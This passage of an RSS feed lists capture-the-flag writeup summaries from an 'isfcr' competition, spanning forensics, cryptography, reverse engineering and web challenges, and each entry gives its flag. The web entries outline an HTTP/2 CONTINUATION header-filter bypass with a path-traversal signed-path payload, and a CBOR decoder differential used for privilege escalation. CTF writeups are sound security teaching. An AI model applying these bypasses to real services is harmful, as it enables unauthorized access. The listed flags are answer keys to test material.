&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;PHANTOM-15 was declared permanently offline during an industrial pressure incident. Although the gateway delivered a low-priority continuity report, it did not deliver the subsequent emergency diagnostic. Three independent IEEE 802.15.4 sniffers captured traffic on channels 15, 20, and 25, and a manufacturing lab provided AES qualification traces. The objective was to authenticate the transmissions, recover the erased diagnostic record, and explain the gateway's apparent silence.&lt;/p&gt;</description></item><item><title>signed, but which original?</title><link>https://hotwater-online.xyz/writeups/isfcr/signed-but-which-original/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/signed-but-which-original/</guid><description>&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;br&gt;&#10;&lt;strong&gt;Author:&lt;/strong&gt; d3va&lt;br&gt;&#10;&lt;strong&gt;Likes:&lt;/strong&gt; 16 (100% liked)&lt;br&gt;&#10;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Challenge files:&lt;/strong&gt; &lt;code&gt;handout.zip&lt;/code&gt; (&lt;code&gt;case.json&lt;/code&gt;, &lt;code&gt;entries.bin&lt;/code&gt;)&lt;/p&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{29336738f5f44f4d2d1e3ac2}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Find the derivative that satisfies &lt;code&gt;case.json&lt;/code&gt;, and its ancestry. Evidence, six ASCII strings in this order: the derivative's asset SHA-256, its manifest_id, its ancestry's manifest_ids from capture to derivative joined with &lt;code&gt;&amp;gt;&lt;/code&gt;, the capture's asset SHA-256, the target incident ID, and the tree_size of the checkpoint you relied on. Digests are lowercase hex.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;</description></item><item><title>Sparse-change</title><link>https://hotwater-online.xyz/writeups/isfcr/sparse-change/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/sparse-change/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;br&gt;&#10;&lt;strong&gt;Points:&lt;/strong&gt; 50&lt;br&gt;&#10;&lt;strong&gt;Author:&lt;/strong&gt; NotKnox&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge Description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;The machine went to scrap. All we recovered was 48 numbers off its sweep log.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;Files provided:&lt;/strong&gt; &lt;code&gt;chall (3).py&lt;/code&gt;, &lt;code&gt;output (3).json&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{pr0ny_kn3w_1t_1n_1795}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The supplied Python generator defines a &lt;em&gt;sparse polynomial&lt;/em&gt; over the finite field \(\mathbb{F}_p\):&lt;/p&gt;&#10;\[&#10;F(X)=\sum_{i=1}^{24}c_i X^{e_i}\pmod p.&#10;\]&lt;p&gt;The exponents \(e_i\) are distinct integers in \([1,p-2]\), and the coefficients \(c_i\) are nonzero. The output file contains the prime &lt;code&gt;p&lt;/code&gt;, a multiplicative generator &lt;code&gt;g&lt;/code&gt;, and exactly 48 consecutive evaluations:&lt;/p&gt;</description></item><item><title>The Image That Forgot</title><link>https://hotwater-online.xyz/writeups/isfcr/the-image-that-forgot/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-image-that-forgot/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Containers / Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{57cfd556fca281af64d920ef}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-objective"&gt;&#10; &lt;a href="#challenge-objective" class="md-heading-anchor"&gt;&#10; Challenge objective&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Recover the incident token belonging to the container instance serving &lt;code&gt;dispatch-ac1af5608a&lt;/code&gt; at &lt;strong&gt;2026-08-14 10:10:08.555 +05:30&lt;/strong&gt;. The input archive contains:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;events.jsonl&lt;/code&gt; — deployment, restart, migration, rollback, and mutable image-tag history.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;images.tar&lt;/code&gt; — an OCI image layout with multi-platform indexes, manifests, and filesystem layers.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;vault.json&lt;/code&gt; — candidate AES-256-GCM keys and encrypted incident-token notes.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The final flag is encrypted separately. It can be decrypted only after assembling the correct event ID, image manifest digest, service ID, key version, and recovered token.&lt;/p&gt;</description></item><item><title>The Last Committed Message</title><link>https://hotwater-online.xyz/writeups/isfcr/the-last-committed-message/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-last-committed-message/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / SQLite WAL reconstruction / Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Recovered flag:&lt;/strong&gt; &lt;code&gt;isfcr{a03a410f1b87dbc115dd1ef6}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-objective"&gt;&#10; &lt;a href="#challenge-objective" class="md-heading-anchor"&gt;&#10; Challenge objective&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Recover the note and its attachment record &lt;strong&gt;as they existed immediately after the operation committed&lt;/strong&gt; for export &lt;code&gt;export-07abca69cd99&lt;/code&gt;. The evidence consists of four ASCII strings, in order:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Note ID&lt;/li&gt;&#10;&lt;li&gt;Revision, written as a decimal string&lt;/li&gt;&#10;&lt;li&gt;Destination, &lt;strong&gt;exactly as stored&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;Associated attachment's recorded SHA-256, in lowercase hexadecimal&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;These strings are serialized as a compact JSON array, fed into &lt;code&gt;hashlib.scrypt&lt;/code&gt;, and used to derive the AES-256-GCM key that decrypts the flag.&lt;/p&gt;</description></item><item><title>The Shape of Silence</title><link>https://hotwater-online.xyz/writeups/isfcr/the-shape-of-silence/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-shape-of-silence/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Machine Learning / Reverse Engineering&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{577027585a0778773aa949d9}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;A black-box model returns exact rational outputs. Submit its outputs for the 24 inputs in &lt;code&gt;data.json&lt;/code&gt; under &lt;code&gt;targets&lt;/code&gt;, in order, as a JSON list of reduced rational strings (for example &lt;code&gt;&amp;quot;-87/64&amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;26&amp;quot;&lt;/code&gt;). Then run:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 unlock.py &lt;span class="s1"&gt;&amp;#39;[&amp;#34;...&amp;#34;, &amp;#34;...&amp;#34;, ...]&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Flag format: &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;h2 id="provided-files"&gt;&#10; &lt;a href="#provided-files" class="md-heading-anchor"&gt;&#10; Provided files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The archive &lt;code&gt;the_shape_of_silence.zip&lt;/code&gt; contains:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;data.json&lt;/code&gt;: model metadata, observations, anchors, and the 24 target inputs.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;unlock.py&lt;/code&gt;: validates an &lt;strong&gt;exact ordered list&lt;/strong&gt; of outputs by attempting authenticated decryption.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Unpack the files:&lt;/p&gt;</description></item><item><title>Toxic Waste</title><link>https://hotwater-online.xyz/writeups/isfcr/toxic-waste/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/toxic-waste/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;br&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{ch30n_8f_th3_c0mpr3ss3d_srs}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge-description"&gt;&#10; &lt;a href="#challenge-description" class="md-heading-anchor"&gt;&#10; Challenge description&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Trusted setup done, secret burned. We kept the two ends and binned the middle to save on disk.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;The challenge provides &lt;code&gt;chall.py&lt;/code&gt; and &lt;code&gt;output.json&lt;/code&gt;. A trusted setup samples a secret integer &lt;code&gt;tau&lt;/code&gt; and builds a structured reference string (SRS) containing successive powers of the secret in an order-&lt;code&gt;q&lt;/code&gt; multiplicative subgroup of &lt;code&gt;GF(P)&lt;/code&gt;. Instead of publishing the entire SRS, the system keeps only:&lt;/p&gt;</description></item><item><title>Turning Chart — Reverse Engineering</title><link>https://hotwater-online.xyz/writeups/isfcr/turning-chart/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/turning-chart/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;The survey ship's last chart was sealed by a navigation instrument whose needle never stays put. The crew kept the instrument, but lost the course that opened it. Recover the accepted course.&lt;/p&gt;&#10;&lt;p&gt;Run the Linux x86-64 executable and enter a course when prompted. The retired dial shown by &lt;code&gt;?&lt;/code&gt; is kept for the museum, not for navigation.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering&lt;br&gt;&#10;&lt;strong&gt;Artifact:&lt;/strong&gt; &lt;code&gt;turning_chart&lt;/code&gt;&lt;br&gt;&#10;&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{3v3ry_r0ut3_r3m3mb3rs_1ts_0r1g1n}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="1-initial-reconnaissance"&gt;&#10; &lt;a href="#1-initial-reconnaissance" class="md-heading-anchor"&gt;&#10; 1. Initial reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Identify the executable:&lt;/p&gt;</description></item><item><title>Zygote Conspiracy</title><link>https://hotwater-online.xyz/writeups/isfcr/zygote-conspiracy/</link><pubDate>Mon, 12 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/zygote-conspiracy/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{tw1n_pr0cess_h4ndshake_mem0ry_0nly_9f23ac}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The two APKs cooperate to reconstruct an encrypted DEX payload. Each contains a 32,768-byte asset named &lt;code&gt;half.bin&lt;/code&gt;. Their native libraries publish their own half through a memory-backed file, locate the companion process, and XOR the halves together. A certificate-derived ChaCha20 key decrypts the result. The recovered &lt;code&gt;xyz.srspace.vault.Vault&lt;/code&gt; class contains a second encrypted payload, which decrypts to the flag using AES-GCM.&lt;/p&gt;&#10;&lt;p&gt;Everything needed for offline recovery is in the APKs; an Android emulator is unnecessary.&lt;/p&gt;</description></item><item><title>Canonical-sin</title><link>https://hotwater-online.xyz/writeups/isfcr/canonical-sin/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/canonical-sin/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web / Crypto&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://isfcrpesu-canonical-sin.chals.io/&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{c4n0n1c4l_d1ff3r3nt14l_t4g_55799_1s_th3_s3lf_d3scr1b3_tr4p_2ec4}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The instance is a &amp;quot;Capability Broker&amp;quot; (&lt;code&gt;auth-gw&lt;/code&gt;, Node/Express) that mills&#10;Ed25519-signed &lt;strong&gt;CBOR&lt;/strong&gt; capability tokens, plus a secret vault (&lt;code&gt;vault-api&lt;/code&gt;,&#10;Python/Flask) that enforces &lt;code&gt;role&lt;/code&gt; + &lt;code&gt;caps&lt;/code&gt; claims.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;POST /auth/mint&lt;/code&gt; lets you merge arbitrary &lt;code&gt;extra_claims&lt;/code&gt; (CBOR) into a new&#10;signed token, but tries to prevent privilege escalation with a byte-level&#10;denylist and a role allowlist.&lt;/p&gt;&#10;&lt;p&gt;The bug is a &lt;strong&gt;CBOR decoder differential&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>Cassandra Fintech — cassandra-edge/2.3.1 (IFSCR CTF)</title><link>https://hotwater-online.xyz/writeups/isfcr/cassandra/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/cassandra/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;0.cloud.chals.io:30152&lt;/code&gt; (HTTP/2 over TLS, self-signed cert)&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{h2_continuation_smuggling_is_the_new_black}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The edge proxy enforces its restricted-header rules only while decoding the&#10;primary &lt;code&gt;HEADERS&lt;/code&gt; frame. By padding the header block so the sensitive headers&#10;fall into &lt;code&gt;CONTINUATION&lt;/code&gt; frames, the filter is bypassed. The backend then:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Accepts a signature obtained from the internal signer (&lt;code&gt;POST /internal/sign&lt;/code&gt;)&#10;whose path policy is a &lt;em&gt;literal substring&lt;/em&gt; check for &lt;code&gt;/admin&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Resolves &lt;code&gt;/admin/flag&lt;/code&gt; from a path that normalizes to it (&lt;code&gt;unquote&lt;/code&gt; +&#10;&lt;code&gt;normpath&lt;/code&gt;), while verifying the HMAC over the &lt;strong&gt;raw&lt;/strong&gt; &lt;code&gt;X-Signed-Path&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Sign &lt;code&gt;&amp;quot;/api/../%61dmin/flag&amp;quot;&lt;/code&gt; (no literal &lt;code&gt;/admin&lt;/code&gt;, starts with &lt;code&gt;/api/&lt;/code&gt;), send it&#10;as &lt;code&gt;X-Signed-Path&lt;/code&gt; on &lt;code&gt;GET /admin/flag&lt;/code&gt;, and the gate lets you through.&lt;/p&gt;</description></item><item><title>coldpack — rimefold (IFSCR)</title><link>https://hotwater-online.xyz/writeups/isfcr/rimefold/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/rimefold/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{the_merge_3b7d_never_rechecked_the_hue_00cb8b04}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 15036&lt;/code&gt; — fresh process per connection.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The handout is a stripped static‑PIE ELF (&lt;code&gt;coldpack&lt;/code&gt;), self‑reporting ABI &lt;strong&gt;1.3&lt;/strong&gt;. The live&#10;service reports &lt;strong&gt;1.4&lt;/strong&gt;, so the note (&amp;quot;the handout binary is the 1.3 bench revision of the&#10;head… confirm anything that matters against your own head&amp;quot;) is load‑bearing.&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file coldpack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ELF 64-bit LSB pie executable, x86-64, static-pie linked, stripped&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./coldpack # with FLAG=... env&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;coldpack rimefold abi 1.3 ready id=&amp;lt;32 hex&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;On start the head:&lt;/p&gt;</description></item><item><title>Cryovault Attestation</title><link>https://hotwater-online.xyz/writeups/isfcr/attestation/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/attestation/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://isfcrpesu-attestation.chals.io&lt;/code&gt;&#10;&lt;strong&gt;Category:&lt;/strong&gt; Web / OCI Registry Abuse&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{attest_5d60_notary_41a34ce7_laundered}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-challenge-overview"&gt;&#10; &lt;a href="#1-challenge-overview" class="md-heading-anchor"&gt;&#10; 1. Challenge overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The front desk serves a small OCI-inspired registry. Each &lt;code&gt;POST /session&lt;/code&gt;&#10;creates a private, writable copy of repository &lt;code&gt;cryovault&lt;/code&gt; with:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;a retired image manifest (tag from the session catalog),&lt;/li&gt;&#10;&lt;li&gt;an evidence blob,&lt;/li&gt;&#10;&lt;li&gt;custody &amp;quot;desks&amp;quot;: &lt;code&gt;/api/notarize&lt;/code&gt;, &lt;code&gt;/api/review&lt;/code&gt;, &lt;code&gt;/api/open&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;From the field guide:&lt;/p&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;The opening desk should never release a live case without &lt;strong&gt;valid review&lt;/strong&gt;, a&#10;&lt;strong&gt;release layer&lt;/strong&gt;, and a &lt;strong&gt;signed claim&lt;/strong&gt; associated with the selected child.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;</description></item><item><title>End Mark</title><link>https://hotwater-online.xyz/writeups/isfcr/end-mark/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/end-mark/</guid><description>&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{28bc454d9b8fc1b73ff97a0d7db31a76}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The worker read 24 payloads of 24 bytes each. Concatenating them in ascending slot order gives 576 bytes with SHA-256:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;28bc454d9b8fc1b73ff97a0d7db31a76f16db9ebfa7690e2b48e3fa4600a5746&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="evidence"&gt;&#10; &lt;a href="#evidence" class="md-heading-anchor"&gt;&#10; Evidence&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The handout contains &lt;code&gt;BRIEF.md&lt;/code&gt;, &lt;code&gt;ledger.db&lt;/code&gt;, &lt;code&gt;ledger.db-wal&lt;/code&gt;, and &lt;code&gt;trace.ndjson&lt;/code&gt;. The trace records the total order of writer commits and reader operations, but omits query results. The database has these tables:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="sql"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;sql&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fragments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PRIMARY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;BLOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 